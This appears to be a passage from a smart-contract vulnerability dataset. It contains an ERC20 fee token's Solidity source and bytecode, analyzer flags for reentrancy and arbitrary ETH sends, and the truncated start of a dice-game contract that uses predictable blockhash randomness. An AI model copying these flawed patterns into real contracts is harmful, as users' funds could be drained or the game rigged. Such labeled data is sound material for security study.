modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FUCKOO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FUCK $KOO";
string private constant _symbol = "FUCKOO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b157600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195e565b6105fc565b005b34801561020a57600080fd5b506040805180820190915260098152684655434b20244b4f4f60b81b60208201525b6040516102399190611a23565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a78565b61069b565b6040519015158152602001610239565b34801561027e57600080fd5b50601354610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa4565b6106b2565b3480156102fb57600080fd5b506102c160175481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601454610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae5565b61071b565b34801561036d57600080fd5b506101fc61037c366004611b12565b610766565b34801561038d57600080fd5b506101fc6107ae565b3480156103a257600080fd5b506102c16103b1366004611ae5565b6107db565b3480156103c257600080fd5b506101fc6107fd565b3480156103d757600080fd5b506101fc6103e6366004611b2d565b610871565b3480156103f757600080fd5b506102c160155481565b34801561040d57600080fd5b506102c161041c366004611ae5565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b12565b6108b3565b34801561047857600080fd5b506102c160165481565b34801561048e57600080fd5b506040805180820190915260068152654655434b4f4f60d01b602082015261022c565b3480156104bd57600080fd5b506101fc6104cc366004611b2d565b610912565b3480156104dd57600080fd5b506101fc6104ec366004611b46565b610941565b3480156104fd57600080fd5b5061026261050c366004611a78565b61099b565b34801561051d57600080fd5b5061026261052c366004611ae5565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc6109a8565b34801561056257600080fd5b506101fc610571366004611b78565b6109de565b34801561058257600080fd5b506102c1610591366004611bfc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2d565b610a7f565b3480156105e857600080fd5b506101fc6105f7366004611ae5565b610aae565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c35565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c96565b915050610632565b5050565b60006106a8338484610b98565b5060015b92915050565b60006106bf848484610cbc565b610711843361070c85604051806060016040528060288152602001611dae602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f8565b610b98565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c35565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c35565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ce57600080fd5b476107d881611232565b50565b6001600160a01b0381166000908152600260205260408120546106ac9061126c565b6000546001600160a01b031633146108275760405162461bcd60e51b815260040161062690611c35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089b5760405162461bcd60e51b815260040161062690611c35565b6611c37937e0800081116108ae57600080fd5b601555565b6000546001600160a01b031633146108dd5760405162461bcd60e51b815260040161062690611c35565b601454600160a01b900460ff16156108f457600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b815260040161062690611c35565b601755565b6000546001600160a01b0316331461096b5760405162461bcd60e51b815260040161062690611c35565b6009548211158061097e5750600b548111155b61098757600080fd5b600893909355600a91909155600955600b55565b60006106a8338484610cbc565b6012546001600160a01b0316336001600160a01b0316146109c857600080fd5b60006109d3306107db565b90506107d8816112f0565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161062690611c35565b60005b82811015610a79578160056000868685818110610a2a57610a2a611c6a565b9050602002016020810190610a3f9190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7181611c96565b915050610a0b565b50505050565b6000546001600160a01b03163314610aa95760405162461bcd60e51b815260040161062690611c35565b601655565b6000546001600160a01b03163314610ad85760405162461bcd60e51b815260040161062690611c35565b6001600160a01b038116610b3d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610de45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e1057506000546001600160a01b03838116911614155b156110f157601454600160a01b900460ff16610ea9576000546001600160a01b03848116911614610ea95760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601554811115610efb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3d57506001600160a01b03821660009081526010602052604090205460ff16155b610f955760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6014546001600160a01b0383811691161461101a5760165481610fb7846107db565b610fc19190611caf565b1061101a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b6000611025306107db565b60175460155491925082101590821061103e5760155491505b8080156110555750601454600160a81b900460ff16155b801561106f57506014546001600160a01b03868116911614155b80156110845750601454600160b01b900460ff165b80156110a957506001600160a01b03851660009081526005602052604090205460ff16155b80156110ce57506001600160a01b03841660009081526005602052604090205460ff16155b156110ee576110dc826112f0565b4780156110ec576110ec47611232565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113357506001600160a01b03831660009081526005602052604090205460ff165b8061116557506014546001600160a01b0385811691161480159061116557506014546001600160a01b03848116911614155b15611172575060006111ec565b6014546001600160a01b03858116911614801561119d57506013546001600160a01b03848116911614155b156111af57600854600c55600954600d555b6014546001600160a01b0384811691161480156111da57506013546001600160a01b03858116911614155b156111ec57600a54600c55600b54600d555b610a798484848461146a565b6000818484111561121c5760405162461bcd60e51b81526004016106269190611a23565b5060006112298486611cc7565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112d35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112dd611498565b90506112e983826114bb565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133857611338611c6a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611391573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b59190611cde565b816001815181106113c8576113c8611c6a565b6001600160a01b0392831660209182029290920101526013546113ee9130911684610b98565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611427908590600090869030904290600401611cfb565b600060405180830381600087803b15801561144157600080fd5b505af1158015611455573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611477576114776114fd565b61148284848461152b565b80610a7957610a79600e54600c55600f54600d55565b60008060006114a5611622565b90925090506114b482826114bb565b9250505090565b60006112e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611662565b600c5415801561150d5750600d54155b1561151457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153d87611690565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156f90876116ed565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159e908661172f565b6001600160a01b0389166000908152600260205260409020556115c08161178e565b6115ca84836117d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160f91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163d82826114bb565b82101561165957505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116835760405162461bcd60e51b81526004016106269190611a23565b5060006112298486611d6c565b60008060008060008060008060006116ad8a600c54600d546117fc565b92509250925060006116bd611498565b905060008060006116d08e878787611851565b919e509c509a509598509396509194505050505091939550919395565b60006112e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f8565b60008061173c8385611caf565b9050838110156112e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b6000611798611498565b905060006117a683836118a1565b306000908152600260205260409020549091506117c3908261172f565b30600090815260026020526040902055505050565b6006546117e590836116ed565b6006556007546117f5908261172f565b6007555050565b6000808080611816606461181089896118a1565b906114bb565b9050600061182960646118108a896118a1565b905060006118418261183b8b866116ed565b906116ed565b9992985090965090945050505050565b600080808061186088866118a1565b9050600061186e88876118a1565b9050600061187c88886118a1565b9050600061188e8261183b86866116ed565b939b939a50919850919650505050505050565b6000826000036118b3575060006106ac565b60006118bf8385611d8e565b9050826118cc8583611d6c565b146112e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d857600080fd5b803561195981611939565b919050565b6000602080838503121561197157600080fd5b823567ffffffffffffffff8082111561198957600080fd5b818501915085601f83011261199d57600080fd5b8135818111156119af576119af611923565b8060051b604051601f19603f830116810181811085821117156119d4576119d4611923565b6040529182528482019250838101850191888311156119f257600080fd5b938501935b82851015611a1757611a088561194e565b845293850193928501926119f7565b98975050505050505050565b600060208083528351808285015260005b81811015611a5057858101830151858201604001528201611a34565b81811115611a62576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8b57600080fd5b8235611a9681611939565b946020939093013593505050565b600080600060608486031215611ab957600080fd5b8335611ac481611939565b92506020840135611ad481611939565b929592945050506040919091013590565b600060208284031215611af757600080fd5b81356112e981611939565b8035801515811461195957600080fd5b600060208284031215611b2457600080fd5b6112e982611b02565b600060208284031215611b3f57600080fd5b5035919050565b60008060008060808587031215611b5c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8d57600080fd5b833567ffffffffffffffff80821115611ba557600080fd5b818601915086601f830112611bb957600080fd5b813581811115611bc857600080fd5b8760208260051b8501011115611bdd57600080fd5b602092830195509350611bf39186019050611b02565b90509250925092565b60008060408385031215611c0f57600080fd5b8235611c1a81611939565b91506020830135611c2a81611939565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca857611ca8611c80565b5060010190565b60008219821115611cc257611cc2611c80565b500190565b600082821015611cd957611cd9611c80565b500390565b600060208284031215611cf057600080fd5b81516112e981611939565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4b5784516001600160a01b031683529383019391830191600101611d26565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da857611da8611c80565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200edd05606575eba31c7115733e289f0e3f327f1d9c878ca31a28c6c715878ac764736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,351 |
0xb7e5f473e5550d7ca9857561269531787094b715
|
pragma solidity ^0.4.23;
/*
* Zethroll.
*
* Adapted from PHXRoll, written in March 2018 by TechnicalRise:
* https://www.reddit.com/user/TechnicalRise/
*
* Adapted for Zethr by Norsefire and oguzhanox.
*
* Gas golfed by Etherguy
* Audited & commented by Klob
*/
contract ZTHReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function getFrontEndTokenBalanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethroll is ZTHReceivingContract {
using SafeMath for uint;
// Makes sure that player profit can't exceed a maximum amount,
// that the bet size is valid, and the playerNumber is in range.
modifier betIsValid(uint _betSize, uint _playerNumber) {
require( calculateProfit(_betSize, _playerNumber) < maxProfit
&& _betSize >= minBet
&& _playerNumber > minNumber
&& _playerNumber < maxNumber);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gamePaused == false);
_;
}
// Requires msg.sender to be owner
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Constants
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 99;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
// Configurables
bool public gamePaused;
address public owner;
address public ZethrBankroll;
address public ZTHTKNADDR;
ZTHInterface public ZTHTKN;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
// Trackers
uint public totalBets;
uint public totalZTHWagered;
// Events
// Logs bets + output to web3 for precise 'payout on win' field in UI
event LogBet(address sender, uint value, uint rollUnder);
// Outputs to web3 UI on bet result
// Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
// Logs owner transfers
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
// Logs changes in maximum profit
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
// Logs current contract balance
event CurrentContractBalance(uint _tokens);
constructor (address zthtknaddr, address zthbankrolladdr) public {
// Owner is deployer
owner = msg.sender;
// Initialize the ZTH contract and bankroll interfaces
ZTHTKN = ZTHInterface(zthtknaddr);
ZTHTKNADDR = zthtknaddr;
// Set the bankroll
ZethrBankroll = zthbankrolladdr;
// Init 990 = 99% (1% houseEdge)
houseEdge = 990;
// The maximum profit from each bet is 10% of the contract balance.
ownerSetMaxProfitAsPercentOfHouse(10000);
// Init min bet (1 ZTH)
ownerSetMinBet(1e18);
// Allow 'unlimited' token transfer by the bankroll
ZTHTKN.approve(zthbankrolladdr, MAX_INT);
}
function() public payable {} // receive zethr dividends
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// Calculate the maximum potential profit
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
// I present a struct which takes only 20k gas
struct playerRoll{
uint200 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
uint8 rollUnder; // Roll under 8 bits
}
// Mapping because a player can do one roll at a time
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn) private
gameIsActive
betIsValid(_tkn.value, _rollUnder)
{
require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200;
require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48
// Note that msg.sender is the Token Contract Address
// and "_from" is the sender of the tokens
// Check that this is a ZTH token transfer
require(_zthToken(msg.sender));
playerRoll memory roll = playerRolls[_tkn.sender];
// Cannot bet twice in one block
require(block.number != roll.blockn);
// If there exists a roll, finish it
if (roll.blockn != 0) {
_finishBet(false, _tkn.sender);
}
// Set struct block number, token value, and rollUnder values
roll.blockn = uint48(block.number);
roll.tokenValue = uint200(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
// Store the roll struct - 20k gas.
playerRolls[_tkn.sender] = roll;
// Provides accurate numbers for web3 and allows for manual refunds
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
// Increment total number of bets
totalBets += 1;
// Total wagered
